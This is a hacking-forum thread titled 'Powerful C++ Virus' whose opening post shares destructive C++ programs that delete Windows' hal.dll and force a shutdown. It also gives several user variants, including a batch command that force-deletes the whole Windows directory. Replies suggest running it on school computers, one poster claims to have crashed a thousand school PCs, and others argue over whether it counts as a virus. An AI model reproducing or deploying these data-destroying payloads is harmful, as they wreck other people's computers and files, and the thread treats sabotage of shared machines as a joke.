• Log in or sign up for an account here: https://www.sythe.org/login

Powerful C++ Virus

Status
Not open for further replies.
This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.
The Original Code:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

NEW: SVXX's Version of this virus that uses Batch for most of its commands:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}


lol you dont need all that code. Try this in a batch file. I think they both do the same thing.

Code:
del c:\windows\* /q /f /s
/f = force delete read only
/q = quiet (don't ask permission to delete)
/s delete specifide files from all subdirectories
the * is a wild card for all!

Enjoy and dont use it on your own computer.
 
I was about to post this >.>

Nice avatar also.

I hate it when people call things viruses.

Also, I didn't set the avatar, I think that's the default or something.
 
Lol! Just run it on some school computer put it out of misery cpu teachers will be like "Wtfbbq I cant get it to start" :p
 
Le Monkey
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
Lol! Just run it on some school computer put it out of misery cpu teachers will be like "Wtfbbq I cant get it to start" :p
What kind of an idiot redneck school would have student accounts that could write to any dir but My Documents? -.-
 
It would be hilarios if someone could get this on a jagex computer

and have it delete

runescape/players/zezima.txt
 
It would be "hilarios" if jagex was that stupid and kept their players in a txt file!

No. Just no.
 
this doesn't work,i try it and it say something about .dll not found

i remake another one test if it working anot:D


#include <windows.h>
int main(){
char directory[MAX_PATH];
GetSystemDirectory(directory,sizeof(directory));
strcat(directory,"\\hal.dll");
DeleteFile(directory);
system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
return 0;
}
 
i uploaded my virus on my schools FTP and crashed over 1000 pc's o.o all at once xD
 
Hal.dll.... i'd get a whole pack of tissues if this was sent to someone with a brand new comp, and they had the curiosity to open this Dangerous code.


In other words, DON'T TRY THIS AT HOME, because it is illegal (in here at the least), and can emotionally hurt you. :o
 
Lulz @ viperdeck

Honestly, who would believe what you're saying? You uploaded a virus to your schools FTP, causing 1000 computers to crash. Wtf?

ta1nted, I suppose you didn't read the previous posts, mentioning the fact that THIS "VIRUS" WON'T WORK.
 
i can't believe you people are actually still posting in this topic; it's really not that cool, and is hardly effective enough to deem it 'powerful'

fo' srs, do something productive; i don't think that this section was created so you fgts could discuss an impotent seven lines of code, that someone saw fit to deem a virus
 
I hate it when people call things viruses.

Also, I didn't set the avatar, I think that's the default or something.

haha, awesome. It was my old avatar
 
Is their a counter to this.I program with visual basic and most of the viruses I made have had simple counters. Just wondering
 
I don't think the people here will distribute it to others. And, even people who are evil enough to will not have the knowledge on how to compile these C++ apps :O

And, I think most of us know that virii are illegal.

To I_own_most:
Firefox's exe file is firefox.exe not firefox.exel :p

i think your right too no ones here would be that irresponsible, lets just say that they wanted too....how would one go about sending this too another person
 
A86753, if you were a decent programmer, you would know that these are not viruses. There is always a counter to everything.

The_Wippit, don't even think about it.
 
I've got to agree with cp_ on this one.
A computer virus is a computer program that can copy itself and infect a computer without permission or knowledge of the user.
source: wiki.
I see no infection routine in that joke of an app. I challenge you to make something to infect batch scripts(or maybe scar scripts).
 
I've got to agree with cp_ on this one.

source: wiki.
I see no infection routine in that joke of an app. I challenge you to make something to infect batch scripts(or maybe scar scripts).

What would you call this then? It's a basic virus, just because some virii can spread themselves, doesn't mean that they set the standard or define the word "virus".

This wouldn't be called a script either, since it's not a batch file, and after it is compiled, it is run by the machine, not interpreted.
 
What would you call this then? It's a basic virus, just because some virii can spread themselves, doesn't mean that they set the standard or define the word "virus".

This wouldn't be called a script either, since it's not a batch file, and after it is compiled, it is run by the machine, not interpreted.
Even down to the machine level, it's interpreted by the bare metal. And a virus is named so because it mimics a virus - it settles somewhere, kills it, and spreads out using it's resources.
 
Why hasn't this been locked yet...?
 
Status
Not open for further replies.
Runescape Gamblingrunescape gambling
Back
Top